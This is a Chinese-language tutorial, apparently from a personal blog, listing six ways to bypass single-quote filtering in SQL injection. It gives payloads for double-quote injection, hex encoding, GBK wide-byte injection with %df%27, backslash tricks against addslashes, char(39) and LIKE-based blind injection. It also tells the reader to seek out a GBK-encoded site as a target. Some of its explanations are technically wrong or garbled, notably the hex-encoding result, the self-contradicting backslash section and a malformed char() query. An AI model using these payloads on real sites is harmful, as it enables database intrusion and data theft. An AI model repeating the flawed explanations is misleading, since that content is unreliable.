4-20
约 981 字大约 3 分钟
2025-11-02
单引号被过滤怎么绕过
1. 使用双引号
如果后端代码在 SQL 查询中使用了双引号 " 来包裹字符串,那么你可以尝试用双引号进行注入
原始查询: SELECT * FROM users WHERE username = "$username"
注入尝试: username=" or 1=1 -- "
最终执行的 SQL: SELECT * FROM users WHERE username = "" or 1=1 -- "
这种情况并不常见,因为多数开发者会优先使用单引号。但它是一个很好的起点,值得尝试
2. 使用十六进制编码
有些数据库(如 MySQL)允许使用十六进制编码来表示字符串。你可以将单引号 ' 或整个字符串(如 or 1=1)进行十六进制编码,然后通过 0x 前缀传入
原始查询: SELECT * FROM users WHERE id = '...注入点...'
注入尝试: 假设你要注入 or 1=1,单引号 ' 的十六进制是 0x27。 ' or 1=1 -- 的十六进制是 0x27206f7220313d31202d2d20
完整 URL 注入: id=0x27206f7220313d31202d2d20
最终执行的 SQL: SELECT * FROM users WHERE id = 'or 1=1 -- '
虽然这看起来很直接,但实际应用中,你需要将整个注入语句进行十六进制编码,因为后端可能不仅过滤单引号,还可能过滤其他关键字
3. 使用宽字节注入
宽字节注入是一种专门针对 PHP 的 addslashes() 函数和 magic_quotes_gpc 配置的绕过技术。在某些字符集(如 GBK)中,一个汉字占用两个字节
当服务器使用 addslashes() 函数时,它会将单引号 ' 转义为 \'。在 ASCII 编码下,\ 的十六进制是 0x5c,' 是 0x27,所以 \' 就是 0x5c27
但如果后端数据库使用了 GBK 编码,且它将 0x5c 和它前面的一个字节组合成一个汉字时,那么 \' 中的 \ 就会被“吃掉”,从而使得后面的单引号 ' 重新生效
攻击步骤:
- 找到一个 GBK 编码的网站
- 在 URL 中注入一个宽字节,例如
%df - 然后注入单引号
注入尝试: id=1%df%27
服务器端处理:
- PHP 的
addslashes()函数收到%df' - 它在
'前面加上\,变成%df\' - URL 编码后,
%df\'变为%df%5c%27 - 当这个字符串传到数据库时,GBK 编码会把
%df%5c当作一个汉字,%27就会单独留下,恢复成单引号'
最终执行的 SQL: SELECT * FROM users WHERE id = '1運''... ('運' 是一个汉字) 后面的 ' 就成为我们控制的单引号,可以用来闭合语句
4. 使用反斜线 \ 绕过 addslashes
在某些情况下,如果后端代码没有过滤反斜线,你可以通过注入一个反斜线来“吃掉” addslashes 自动添加的反斜线
原始查询: SELECT * FROM users WHERE id = '...注入点...'
注入尝试: id=1\'
服务器端处理:
- PHP 的
addslashes()函数收到1' - 它在
'前面加上\,变成1\' - 如果前端的输入是
1\',addslashes会将\'变为\\'
这个方法需要深入理解后端如何处理输入。如果后端代码只对单引号进行了转义,而没有对反斜线进行处理,你就可以用一个反斜线来闭合它
5. char() 函数绕过
char() 函数可以将数字转换为字符。你可以利用这个函数来构造单引号
注入尝试: id=1 and 1=1 and (select char(39)) id=1 union select 1,2,3 from users where username=char(39)adminchar(39)
这种方法通常用于绕过对特定字符串(如 ')的过滤,但不能绕过对整个注入语句的过滤
6. 使用 like 语句绕过
在某些盲注场景下,如果无法使用单引号,可以尝试使用 like 语句来代替 union 或 and
注入尝试: id=1 and 1 like 1 and 1=1 -- id=1 and 1 like database()
这种方法适用于特定的 SQL 语句结构,但并非万能